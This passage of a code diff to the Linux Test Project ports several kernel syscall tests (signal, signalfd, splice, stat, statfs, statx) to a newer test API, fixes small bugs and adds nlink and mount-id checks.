-	for (sig = 1; sig < NUMSIGS; sig++) {
-		if (sigs_map[sig]) {
-			tst_resm(TINFO, "Signal %i(%s) catched",
-			         sig, tst_strsig(sig));
-		}
+	for (sig = 1; sig < NUMSIGS; sig++)
+		if (sigs_map[sig])
+			tst_res(TINFO, "Signal %i(%s) catched", sig, tst_strsig(sig));
+}
+
+static void run(void)
+{
+	pid_t pid_child;
+	int signal;
+
+	pid_child = SAFE_FORK();
+	if (!pid_child) {
+		do_child();
+		return;
 	}
 
-	tst_exit();
+	TST_CHECKPOINT_WAIT(0);
+
+	for (signal = 1; signal < NUMSIGS; signal++) {
+		if (skip_sig(signal))
+			continue;
+
+		SAFE_KILL(pid_child, signal);
+	}
+
+	TST_CHECKPOINT_WAKE(0);
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	tst_tmpdir();
-
-	TST_CHECKPOINT_INIT(tst_rmdir);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/syscalls/signal/signal06.c b/testcases/kernel/syscalls/signal/signal06.c
index 64f886e..cf0706e 100644
--- a/testcases/kernel/syscalls/signal/signal06.c
+++ b/testcases/kernel/syscalls/signal/signal06.c
@@ -72,8 +72,8 @@
 	while (D == VALUE && loop < LOOPS) {
 		/* sys_tkill(pid, SIGHUP); asm to avoid save/reload
 		 * fp regs around c call */
-		asm ("" : : "a"(__NR_tkill), "D"(pid), "S"(SIGHUP));
-		asm ("syscall" : : : "ax");
+		int unused;
+		asm volatile ("syscall" : "=a"(unused) : "a"(__NR_tkill), "D"(pid), "S"(SIGHUP) : "rcx", "r11");
 
 		loop++;
 	}
diff --git a/testcases/kernel/syscalls/signalfd/signalfd01.c b/testcases/kernel/syscalls/signalfd/signalfd01.c
index 1a62156..c6a7c3a 100644
--- a/testcases/kernel/syscalls/signalfd/signalfd01.c
+++ b/testcases/kernel/syscalls/signalfd/signalfd01.c
@@ -78,7 +78,7 @@
 int signalfd(int fd, const sigset_t * mask, int flags)
 {
 	/* Taken from GLIBC. */
-	return ltp_syscall(__NR_signalfd, fd, mask, SIGSETSIZE);
+	return tst_syscall(__NR_signalfd, fd, mask, SIGSETSIZE);
 }
 #endif
 
@@ -249,8 +249,7 @@
 		goto out;
 	} else {
 		tst_resm(TFAIL, "got unexpected signal: signal=%d : %s",
-			 fdsi.ssi_signo),
-			 strsignal(fdsi.ssi_signo);
+			 fdsi.ssi_signo, strsignal(fdsi.ssi_signo));
 		goto out;
 	}
 
diff --git a/testcases/kernel/syscalls/signalfd4/signalfd4_01.c b/testcases/kernel/syscalls/signalfd4/signalfd4_01.c
index 9f85973..7909f58 100644
--- a/testcases/kernel/syscalls/signalfd4/signalfd4_01.c
+++ b/testcases/kernel/syscalls/signalfd4/signalfd4_01.c
@@ -54,7 +54,6 @@
 /*              Ported to LTP                                                 */
 /*                      - Jan 08 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
 /******************************************************************************/
-#include <fcntl.h>
 #include <signal.h>
 #include <stdio.h>
 #include <unistd.h>
@@ -142,7 +141,7 @@
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
 			sigemptyset(&ss);
 			sigaddset(&ss, SIGUSR1);
-			fd = ltp_syscall(__NR_signalfd4, -1, &ss,
+			fd = tst_syscall(__NR_signalfd4, -1, &ss,
 				SIGSETSIZE, 0);
 			if (fd == -1) {
 				tst_brkm(TFAIL, cleanup,
@@ -159,7 +158,7 @@
 			}
 			close(fd);
 
-			fd = ltp_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE,
+			fd = tst_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE,
 				     SFD_CLOEXEC);
 			if (fd == -1) {
 				tst_brkm(TFAIL,
diff --git a/testcases/kernel/syscalls/signalfd4/signalfd4_02.c b/testcases/kernel/syscalls/signalfd4/signalfd4_02.c
index ddf8b8c..4c9c202 100644
--- a/testcases/kernel/syscalls/signalfd4/signalfd4_02.c
+++ b/testcases/kernel/syscalls/signalfd4/signalfd4_02.c
@@ -137,7 +137,7 @@
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
 			sigemptyset(&ss);
 			sigaddset(&ss, SIGUSR1);
-			fd = ltp_syscall(__NR_signalfd4, -1, &ss,
+			fd = tst_syscall(__NR_signalfd4, -1, &ss,
 				SIGSETSIZE, 0);
 			if (fd == -1) {
 				tst_brkm(TFAIL, cleanup,
@@ -154,7 +154,7 @@
 			}
 			close(fd);
 
-			fd = ltp_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE,
+			fd = tst_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE,
 				     SFD_NONBLOCK);
 			if (fd == -1) {
 				tst_brkm(TFAIL,
diff --git a/testcases/kernel/syscalls/socket/socket02.c b/testcases/kernel/syscalls/socket/socket02.c
index afe9dc1..59fd942 100644
--- a/testcases/kernel/syscalls/socket/socket02.c
+++ b/testcases/kernel/syscalls/socket/socket02.c
@@ -12,7 +12,6 @@
 * in socket() in kernel 2.6.27.
 */
 
-#include <fcntl.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <netinet/in.h>
diff --git a/testcases/kernel/syscalls/socketpair/socketpair02.c b/testcases/kernel/syscalls/socketpair/socketpair02.c
index 72ca0e8..e23945c 100644
--- a/testcases/kernel/syscalls/socketpair/socketpair02.c
+++ b/testcases/kernel/syscalls/socketpair/socketpair02.c
@@ -13,7 +13,6 @@
 */
 
 #include <errno.h>
-#include <fcntl.h>
 #include <pthread.h>
 #include <stdio.h>
 #include <unistd.h>
diff --git a/testcases/kernel/syscalls/splice/splice02.c b/testcases/kernel/syscalls/splice/splice02.c
index 5d91e26..c811951 100644
--- a/testcases/kernel/syscalls/splice/splice02.c
+++ b/testcases/kernel/syscalls/splice/splice02.c
@@ -5,7 +5,7 @@
  */
 
 /*\
- * [DESCRIPTION]
+ * [Description]
  * Original reproducer for kernel fix
  * bf40d3435caf NFS: add support for splice writes
  * from v2.6.31-rc1.
@@ -157,7 +157,7 @@
 	.forks_child = 1,
 	.min_kver = "2.6.17",
 	.options = (struct tst_option[]) {
-		{"s:", &sarg, "-s x     Size of output file in bytes (default: 16x max pipe size, i.e. 1M on intel)"},
+		{"s:", &sarg, "Size of output file in bytes (default: 16x max pipe size, i.e. 1M on intel)"},
 		{}
 	},
 };
diff --git a/testcases/kernel/syscalls/splice/splice04.c b/testcases/kernel/syscalls/splice/splice04.c
index 29fdd24..1189afc 100644
--- a/testcases/kernel/syscalls/splice/splice04.c
+++ b/testcases/kernel/syscalls/splice/splice04.c
@@ -80,7 +80,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = (struct tst_option[]) {
-		{"l:", &str_len_data, "-l <num> Length of test data (in bytes)"},
+		{"l:", &str_len_data, "Length of test data (in bytes)"},
 		{}
 	},
 	.min_kver = "2.6.31"
diff --git a/testcases/kernel/syscalls/splice/splice05.c b/testcases/kernel/syscalls/splice/splice05.c
index 9a9a7d1..306f3c6 100644
--- a/testcases/kernel/syscalls/splice/splice05.c
+++ b/testcases/kernel/syscalls/splice/splice05.c
@@ -105,7 +105,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = (struct tst_option[]) {
-		{"l:", &str_len_data, "-l <num> Length of test data (in bytes)"},
+		{"l:", &str_len_data, "Length of test data (in bytes)"},
 		{}
 	},
 	.min_kver = "2.6.17"
diff --git a/testcases/kernel/syscalls/ssetmask/ssetmask01.c b/testcases/kernel/syscalls/ssetmask/ssetmask01.c
index 336a9be..ca3a1de 100644
--- a/testcases/kernel/syscalls/ssetmask/ssetmask01.c
+++ b/testcases/kernel/syscalls/ssetmask/ssetmask01.c
@@ -112,13 +112,13 @@
 	for (lc = 0; TEST_LOOPING(lc); ++lc) {
 		tst_count = 0;
 		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			ltp_syscall(__NR_ssetmask, SIGALRM);
-			TEST(ltp_syscall(__NR_sgetmask));
+			tst_syscall(__NR_ssetmask, SIGALRM);
+			TEST(tst_syscall(__NR_sgetmask));
 			if (TEST_RETURN != SIGALRM) {
 				tst_brkm(TFAIL | TTERRNO, cleanup,
 					 "sgetmask() failed");
 			}
-			TEST(ltp_syscall(__NR_ssetmask, SIGUSR1));
+			TEST(tst_syscall(__NR_ssetmask, SIGUSR1));
 			if (TEST_RETURN != SIGALRM) {
 				tst_brkm(TFAIL | TTERRNO, cleanup,
 					 "ssetmask() failed");
diff --git a/testcases/kernel/syscalls/stat/stat01.c b/testcases/kernel/syscalls/stat/stat01.c
index 14f1036..0f5c1dc 100644
--- a/testcases/kernel/syscalls/stat/stat01.c
+++ b/testcases/kernel/syscalls/stat/stat01.c
@@ -71,11 +71,17 @@
 		fail++;
 	}
 
+	if (stat_buf.st_nlink != 1) {
+		tst_res(TFAIL, "stat_buf.st_nlink = %lu expected 1",
+			stat_buf.st_nlink);
+		fail++;
+	}
+
 	if (!fail)
 		tst_res(TPASS, "stat(%s)", tc->pathname);
 }
 
-void setup(void)
+static void setup(void)
 {
 	unsigned int i;
 
diff --git a/testcases/kernel/syscalls/statfs/statfs02.c b/testcases/kernel/syscalls/statfs/statfs02.c
index 279665f..ee9dba0 100644
--- a/testcases/kernel/syscalls/statfs/statfs02.c
+++ b/testcases/kernel/syscalls/statfs/statfs02.c
@@ -1,56 +1,37 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  *	07/2001 Ported by Wayne Boyer
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * DESCRIPTION
- *	1.	Use a component of the pathname, which is not a directory
- *		in the "path" parameter to statfs(). Expect ENOTDIR
- *	2.	Pass a filename which doesn't exist, and expect ENOENT.
- *	3.	Pass a pathname which is more than MAXNAMLEN, and expect
- *		ENAMETOOLONG.
- *	4.	Pass a pointer to the pathname outside the address space of
- *		the process, and expect EFAULT.
- *	5.	Pass a pointer to the buf paramter outside the address space
- *		of the process, and expect EFAULT.
- *	6.	Pass a filename which has too many symbolic links, and expect
- *		ELOOP.
+/*\
+ * [Description]
+ *
+ * Tests for failures:
+ *
+ * - ENOTDIR A component of the pathname, which is not a directory.
+ * - ENOENT A filename which doesn't exist.
+ * - ENAMETOOLONG A pathname which is longer than MAXNAMLEN.
+ * - EFAULT A pathname pointer outside the address space of the process.
+ * - EFAULT A buf pointer outside the address space of the process.
+ * - ELOOP A filename which has too many symbolic links.
  */
 
-#include <sys/types.h>
-#include <sys/statfs.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/vfs.h>
-#include <sys/mman.h>
 #include <errno.h>
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "statfs02";
-
-static int fd;
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/statfs.h>
+#include <sys/wait.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
 #define TEST_FILE		"statfs_file"
 #define TEST_FILE1		TEST_FILE"/statfs_file1"
 #define TEST_NOEXIST		"statfs_noexist"
 #define TEST_SYMLINK		"statfs_symlink"
 
+static int fd;
 static char test_toolong[PATH_MAX+2];
 static struct statfs buf;
 
@@ -58,83 +39,67 @@
 	char *path;
 	struct statfs *buf;
 	int exp_error;
-} TC[] = {
+} tests[] = {
 	{TEST_FILE1, &buf, ENOTDIR},
 	{TEST_NOEXIST, &buf, ENOENT},
 	{test_toolong, &buf, ENAMETOOLONG},
-#ifndef UCLINUX
 	{(char *)-1, &buf, EFAULT},
 	{TEST_FILE, (struct statfs *)-1, EFAULT},
-#endif
 	{TEST_SYMLINK, &buf, ELOOP},
 };
 
-int TST_TOTAL = ARRAY_SIZE(TC);
-static void setup(void);
-static void cleanup(void);
-static void statfs_verify(const struct test_case_t *);
-
-int main(int ac, char **av)
+static void statfs_verify(unsigned int n)
 {
-	int lc;
-	int i;
+	int pid, status;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++)
-			statfs_verify(&TC[i]);
+	pid = SAFE_FORK();
+	if (!pid) {
+		TST_EXP_FAIL(statfs(tests[n].path, tests[n].buf), tests[n].exp_error, "statfs()");
+		exit(0);
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_WAITPID(pid, &status, 0);
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
+		return;
+
+	if (tests[n].exp_error == EFAULT &&
+	    WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV) {
+		tst_res(TPASS, "Got SIGSEGV instead of EFAULT");
+		return;
+	}
+
+	tst_res(TFAIL, "Child %s", tst_strstatus(status));
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	unsigned int i;
 
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fd = SAFE_CREAT(cleanup, TEST_FILE, 0444);
+	fd = SAFE_CREAT(TEST_FILE, 0444);
 
 	memset(test_toolong, 'a', PATH_MAX+1);
 
-#if !defined(UCLINUX)
-	TC[3].path = SAFE_MMAP(cleanup, 0, 1, PROT_NONE,
-			       MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-#endif
-
-	SAFE_SYMLINK(cleanup, TEST_SYMLINK, "statfs_symlink_2");
-	SAFE_SYMLINK(cleanup, "statfs_symlink_2", TEST_SYMLINK);
-}
-
-static void statfs_verify(const struct test_case_t *test)
-{
-	TEST(statfs(test->path, test->buf));
-
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "call succeeded unexpectedly");
-		return;
+	for (i = 0; i < ARRAY_SIZE(tests); i++) {
+		if (tests[i].path == (char *)-1)
+			tests[i].path = tst_get_bad_addr(NULL);
 	}
 
-	if (TEST_ERRNO == test->exp_error) {
-		tst_resm(TPASS | TTERRNO, "expected failure");
-	} else {
-		tst_resm(TFAIL | TTERRNO, "unexpected error, expected %d",
-			 TEST_ERRNO);
-	}
+	SAFE_SYMLINK(TEST_SYMLINK, "statfs_symlink_2");
+	SAFE_SYMLINK("statfs_symlink_2", TEST_SYMLINK);
 }
 
 static void cleanup(void)
 {
 	if (fd > 0)
 		close(fd);
-
-	tst_rmdir();
 }
+
+static struct tst_test test = {
+	.test = statfs_verify,
+	.tcnt = ARRAY_SIZE(tests),
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/statx/.gitignore b/testcases/kernel/syscalls/statx/.gitignore
index 2f5457e..1cea43c 100644
--- a/testcases/kernel/syscalls/statx/.gitignore
+++ b/testcases/kernel/syscalls/statx/.gitignore
@@ -5,3 +5,5 @@
 /statx05
 /statx06
 /statx07
+/statx08
+/statx09
diff --git a/testcases/kernel/syscalls/statx/statx01.c b/testcases/kernel/syscalls/statx/statx01.c
index 2358dd7..98e1dfc 100644
--- a/testcases/kernel/syscalls/statx/statx01.c
+++ b/testcases/kernel/syscalls/statx/statx01.c
@@ -4,43 +4,36 @@
  * Email: code@zilogic.com
  */
 
-/*
- * Test statx
+/*\
+ * [Description]
  *
  * This code tests the functionality of statx system call.
  *
- * TESTCASE 1:
- * The metadata for normal file are tested against predefined values:
- * 1) gid
- * 2) uid
- * 3) mode
- * 4) blocks
- * 5) size
+ * The metadata for normal file are tested against expected values:
  *
- * A file is created and metadata values are set with
- * predefined values.
- * Then the values obtained using statx is checked against
- * the predefined values.
+ * - gid
+ * - uid
+ * - mode
+ * - blocks
+ * - size
+ * - nlink
+ * - mnt_id
  *
- * TESTCASE 2:
- * The metadata for device file are tested against predefined values:
- * 1) MAJOR number
- * 2) MINOR number
+ * The metadata for device file are tested against expected values:
  *
- * A device file is created seperately using mknod(must be a root user).
- * The major number and minor number are set while creation.
- * Major and minor numbers obtained using statx is checked against
- * predefined values.
- * Minimum kernel version required is 4.11.
+ * - MAJOR number
+ * - MINOR number
  */
 
 #define _GNU_SOURCE
 #include <stdio.h>
 #include <sys/types.h>
+#include <unistd.h>
 #include <sys/sysmacros.h>
 #include "tst_test.h"
 #include "tst_safe_macros.h"
 #include "lapi/stat.h"
+#include "tst_safe_stdio.h"
 #include <string.h>
 #include <inttypes.h>
 
@@ -53,6 +46,49 @@
 #define MAJOR 8
 #define MINOR 1
 
+static int file_fd = -1;
+
+#ifdef HAVE_STRUCT_STATX_STX_MNT_ID
+static void test_mnt_id(struct statx *buf)
+{
+	FILE *file;
+	char line[PATH_MAX];
+	int pid;
+	unsigned int line_mjr, line_mnr;
+	uint64_t mnt_id;
+
+	if (!(buf->stx_mask & STATX_MNT_ID)) {
+		tst_res(TCONF, "stx_mnt_id is not supported until linux 5.8");
+		return;
+	}
+
+	file = SAFE_FOPEN("/proc/self/mountinfo", "r");
+
+	while (fgets(line, sizeof(line), file)) {
+		if (sscanf(line, "%ld %*d %d:%d", &mnt_id, &line_mjr, &line_mnr) != 3)
+			continue;
+
+		if (line_mjr == buf->stx_dev_major && line_mnr == buf->stx_dev_minor)
+			break;
+	}
+
+	SAFE_FCLOSE(file);
+
+	if (buf->stx_mnt_id == mnt_id)
+		tst_res(TPASS,
+			"statx.stx_mnt_id equals to mount_id(%"PRIu64") in /proc/self/mountinfo",
+			mnt_id);
+	else
+		tst_res(TFAIL,
+			"statx.stx_mnt_id(%"PRIu64") is different from mount_id(%"PRIu64") in /proc/self/mountinfo",
+			(uint64_t)buf->stx_mnt_id, mnt_id);
+
+	pid = getpid();
+	snprintf(line, PATH_MAX, "/proc/%d/fdinfo/%d", pid, file_fd);
+	TST_ASSERT_FILE_INT(line, "mnt_id:", buf->stx_mnt_id);
+}
+#endif
+
 static void test_normal_file(void)
 {
 	struct statx buff;
@@ -79,11 +115,11 @@
 
 	if (buff.stx_size == SIZE)
 		tst_res(TPASS,
-			"stx_size(%"PRIu64") is correct", buff.stx_size);
+			"stx_size(%"PRIu64") is correct", (uint64_t)buff.stx_size);
 	else
 		tst_res(TFAIL,
 			"stx_size(%"PRIu64") is different from expected(%u)",
-			buff.stx_size, SIZE);
+			(uint64_t)buff.stx_size, SIZE);
 
 	if ((buff.stx_mode & ~(S_IFMT)) == MODE)
 		tst_res(TPASS, "stx_mode(%u) is correct", buff.stx_mode);
@@ -91,14 +127,24 @@
 		tst_res(TFAIL, "stx_mode(%u) is different from expected(%u)",
 			buff.stx_mode, MODE);
 
-
 	if (buff.stx_blocks <= buff.stx_blksize/512 * 2)
 		tst_res(TPASS, "stx_blocks(%"PRIu64") is valid",
-			buff.stx_blocks);
+			(uint64_t)buff.stx_blocks);
 	else
 		tst_res(TFAIL, "stx_blocks(%"PRIu64") is invalid",
-			buff.stx_blocks);
+			(uint64_t)buff.stx_blocks);
 
+	if (buff.stx_nlink == 1)
+		tst_res(TPASS, "stx_nlink(1) is correct");
+	else
+		tst_res(TFAIL, "stx_nlink(%u) is different from expected(1)",
+			buff.stx_nlink);
+
+#ifdef HAVE_STRUCT_STATX_STX_MNT_ID
+	test_mnt_id(&buff);
+#else
+	tst_res(TCONF, "stx_mnt_id is not defined in struct statx");
+#endif
 }
 
 static void test_device_file(void)
@@ -131,7 +177,7 @@
 }
 
 
-struct tcase {
+static struct tcase {
 	void (*tfunc)(void);
 } tcases[] = {
 	{&test_normal_file},
@@ -146,7 +192,6 @@
 static void setup(void)
 {
 	char data_buff[SIZE];
-	int file_fd;
 
 	umask(0);
 
@@ -154,15 +199,21 @@
 
 	file_fd =  SAFE_OPEN(TESTFILE, O_RDWR|O_CREAT, MODE);
 	SAFE_WRITE(1, file_fd, data_buff, sizeof(data_buff));
-	SAFE_CLOSE(file_fd);
 
 	SAFE_MKNOD(DEVICEFILE, S_IFBLK | 0777, makedev(MAJOR, MINOR));
 }
 
+static void cleanup(void)
+{
+	if (file_fd > -1)
+		SAFE_CLOSE(file_fd);
+}
+
 static struct tst_test test = {
 	.test = run,
 	.tcnt = ARRAY_SIZE(tcases),
 	.setup = setup,
+	.cleanup = cleanup,
 	.min_kver = "4.11",
 	.needs_devfs = 1,
 	.mntpoint = MNTPOINT,
diff --git a/testcases/kernel/syscalls/statx/statx02.c b/testcases/kernel/syscalls/statx/statx02.c
index 08ea940..c96859f 100644
--- a/testcases/kernel/syscalls/statx/statx02.c
+++ b/testcases/kernel/syscalls/statx/statx02.c
@@ -4,12 +4,13 @@
  * Email: code@zilogic.com
  */
 
-/*
- * Test statx
+/*\
+ * [Description]
  *
- * This code tests the following flags:
- * 1) AT_EMPTY_PATH
- * 2) AT_SYMLINK_NOFOLLOW
+ * This code tests the following flags with statx syscall:
+ *
+ * - AT_EMPTY_PATH
+ * - AT_SYMLINK_NOFOLLOW
  *
  * A test file and a link for it is created.
  *
@@ -19,7 +20,6 @@
  * To check symlink no follow flag, the linkname is statxed.
  * To ensure that link is not dereferenced, obtained inode is compared
  * with test file inode.
- * Minimum kernel version required is 4.11.
  */
 
 #define _GNU_SOURCE
@@ -50,11 +50,11 @@
 
 	if (buf.stx_size == SIZE)
 		tst_res(TPASS,
-			"stx_size(%"PRIu64") is correct", buf.stx_size);
+			"stx_size(%"PRIu64") is correct", (uint64_t)buf.stx_size);
 	else
 		tst_res(TFAIL,
 			"stx_size(%"PRIu64") is not same as expected(%u)",
-			buf.stx_size, SIZE);
+			(uint64_t)buf.stx_size, SIZE);
 
 }
 
@@ -90,7 +90,7 @@
 			"Statx symlink flag failed to work as expected");
 }
 
-struct tcase {
+static struct tcase {
 	void (*tfunc)(void);
 } tcases[] = {
 	{&test_empty_path},
diff --git a/testcases/kernel/syscalls/statx/statx03.c b/testcases/kernel/syscalls/statx/statx03.c
index c72d7fe..b888090 100644
--- a/testcases/kernel/syscalls/statx/statx03.c
+++ b/testcases/kernel/syscalls/statx/statx03.c
@@ -4,27 +4,17 @@
  * Email: code@zilogic.com
  */
 
-/*
- * Test statx
+/*\
+ * [Description]
  *
- * This code tests if expected error values are returned for specific cases by
- * statx.
- * The error cases are simulated and the return value is checked against
- * expected error number value.
- * The following error values are tested:
- * 1) EBADF - Bad file descriptor
- * 2) EFAULT - Bad address
- * 3) EINVAL - Invalid argument
- * 4) ENOENT - No such file or directory
- * 5) ENOTDIR - Not a directory
- * 6) ENAMETOOLONG - Filename too long
+ * Test basic error handling of statx syscall:
  *
- * Error scenario is simulated for each listed flag by passing
- * respective arguments.
- * The obtained error flag is checked against the expected
- * flag value for that scenario.
- *
- * Minimum Kernel version required is 4.11.
+ * - EBADF - Bad file descriptor
+ * - EFAULT - Bad address
+ * - EINVAL - Invalid argument
+ * - ENOENT - No such file or directory
+ * - ENOTDIR - Not a directory
+ * - ENAMETOOLONG - Filename too long
  */
 
 #define _GNU_SOURCE
diff --git a/testcases/kernel/syscalls/statx/statx04.c b/testcases/kernel/syscalls/statx/statx04.c
index f8350ed..3923b7f 100644
--- a/testcases/kernel/syscalls/statx/statx04.c
+++ b/testcases/kernel/syscalls/statx/statx04.c
@@ -1,26 +1,54 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) Zilogic Systems Pvt. Ltd., 2018
- * Email: code@zilogic.com
+ * Copyright (c) 2022 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
- * Test statx
+/*\
+ * [Description]
  *
- * This code tests if the attributes field of statx received expected value.
- * File set with following flags by using SAFE_IOCTL:
- * 1) STATX_ATTR_COMPRESSED - The file is compressed by the filesystem.
- * 2) STATX_ATTR_IMMUTABLE - The file cannot be modified.
- * 3) STATX_ATTR_APPEND - The file can only be opened in append mode for
- *                        writing.
- * 4) STATX_ATTR_NODUMP - File is not a candidate for backup when a backup
+ * Test whether the kernel properly advertises support for statx() attributes:
+ *
+ * - STATX_ATTR_COMPRESSED: The file is compressed by the filesystem.
+ * - STATX_ATTR_IMMUTABLE: The file cannot be modified.
+ * - STATX_ATTR_APPEND: The file can only be opened in append mode for writing.
+ * - STATX_ATTR_NODUMP: File is not a candidate for backup when a backup
  *                        program such as dump(8) is run.
  *
- * Two directories are tested.
- * First directory has all flags set.
- * Second directory has no flags set.
+ * xfs filesystem doesn't support STATX_ATTR_COMPRESSED flag, so we only test
+ * three other flags.
  *
- * Minimum kernel version required is 4.11.
+ * ext2, ext4, btrfs, xfs and tmpfs support statx syscall since the following commit
+ *
+ *  commit 93bc420ed41df63a18ae794101f7cbf45226a6ef
+ *  Author: yangerkun <yangerkun@huawei.com>
+ *  Date:   Mon Feb 18 09:07:02 2019 +0800
+ *
+ *  ext2: support statx syscall
+ *
+ *  commit 99652ea56a4186bc5bf8a3721c5353f41b35ebcb
+ *  Author: David Howells <dhowells@redhat.com>
+ *  Date:   Fri Mar 31 18:31:56 2017 +0100
+ *
+ *  ext4: Add statx support
+ *
+ *  commit 04a87e3472828f769a93655d7c64a27573bdbc2c
+ *  Author: Yonghong Song <yhs@fb.com>
+ *  Date:   Fri May 12 15:07:43 2017 -0700
+ *
+ *  Btrfs: add statx support
+ *
+ *  commit 5f955f26f3d42d04aba65590a32eb70eedb7f37d
+ *  Author: Darrick J. Wong <darrick.wong@oracle.com>
+ *  Date:   Fri Mar 31 18:32:03 2017 +0100
+ *
+ *  xfs: report crtime and attribute flags to statx
+ *
+ *  commit e408e695f5f1f60d784913afc45ff2c387a5aeb8
+ *  Author: Theodore Ts'o <tytso@mit.edu>
+ *  Date:   Thu Jul 14 21:59:12 2022 -0400
+ *
+ *  mm/shmem: support FS_IOC_[SG]ETFLAGS in tmpfs
+ *
  */
 
 #define _GNU_SOURCE
@@ -30,156 +58,89 @@
 #include "lapi/stat.h"
 
 #define MOUNT_POINT "mntpoint"
-#define TESTDIR_FLAGGED MOUNT_POINT"/test_dir1"
-#define TESTDIR_UNFLAGGED MOUNT_POINT"/test_dir2"
+#define TESTDIR MOUNT_POINT "/testdir"
 
-static int fd, clear_flags;
+#define ATTR(x) {.attr = x, .name = #x}
 
-static void test_flagged(void)
-{
-	struct statx buf;
-
-	TEST(statx(AT_FDCWD, TESTDIR_FLAGGED, 0, 0, &buf));
-	if (TST_RET == 0)
-		tst_res(TPASS,
-			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)", TESTDIR_FLAGGED);
-	else
-		tst_brk(TFAIL | TTERRNO,
-			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)", TESTDIR_FLAGGED);
-
-	if (buf.stx_attributes & STATX_ATTR_COMPRESSED)
-		tst_res(TPASS, "STATX_ATTR_COMPRESSED flag is set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_COMPRESSED flag is not set");
-
-	if (buf.stx_attributes & STATX_ATTR_APPEND)
-		tst_res(TPASS, "STATX_ATTR_APPEND flag is set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_APPEND flag is not set");
-
-	if (buf.stx_attributes & STATX_ATTR_IMMUTABLE)
-		tst_res(TPASS, "STATX_ATTR_IMMUTABLE flag is set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_IMMUTABLE flag is not set");
-
-	if (buf.stx_attributes & STATX_ATTR_NODUMP)
-		tst_res(TPASS, "STATX_ATTR_NODUMP flag is set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_NODUMP flag is not set");
-}
-
-static void test_unflagged(void)
-{
-	struct statx buf;
-
-	TEST(statx(AT_FDCWD, TESTDIR_UNFLAGGED, 0, 0, &buf));
-	if (TST_RET == 0)
-		tst_res(TPASS,
-			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
-			TESTDIR_UNFLAGGED);
-	else
-		tst_brk(TFAIL | TTERRNO,
-			"sys_statx(AT_FDCWD, %s, 0, 0, &buf)",
-			TESTDIR_UNFLAGGED);
-
-	if ((buf.stx_attributes & STATX_ATTR_COMPRESSED) == 0)
-		tst_res(TPASS, "STATX_ATTR_COMPRESSED flag is not set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_COMPRESSED flag is set");
-
-	if ((buf.stx_attributes & STATX_ATTR_APPEND) == 0)
-		tst_res(TPASS, "STATX_ATTR_APPEND flag is not set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_APPEND flag is set");
-
-	if ((buf.stx_attributes & STATX_ATTR_IMMUTABLE) == 0)
-		tst_res(TPASS, "STATX_ATTR_IMMUTABLE flag is not set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_IMMUTABLE flag is set");
-
-	if ((buf.stx_attributes & STATX_ATTR_NODUMP) == 0)
-		tst_res(TPASS, "STATX_ATTR_NODUMP flag is not set");
-	else
-		tst_res(TFAIL, "STATX_ATTR_NODUMP flag is set");
-}
-
-struct test_cases {
-	void (*tfunc)(void);
-} tcases[] = {
-	{&test_flagged},
-	{&test_unflagged},
+static struct {
+	uint64_t attr;
+	const char *name;
+} attr_list[] = {
+	ATTR(STATX_ATTR_COMPRESSED),
+	ATTR(STATX_ATTR_APPEND),
+	ATTR(STATX_ATTR_IMMUTABLE),
+	ATTR(STATX_ATTR_NODUMP)
 };
 
-static void run(unsigned int i)
-{
-	tcases[i].tfunc();
-}
-
-static void caid_flags_setup(void)
-{
-	int attr, ret;
-
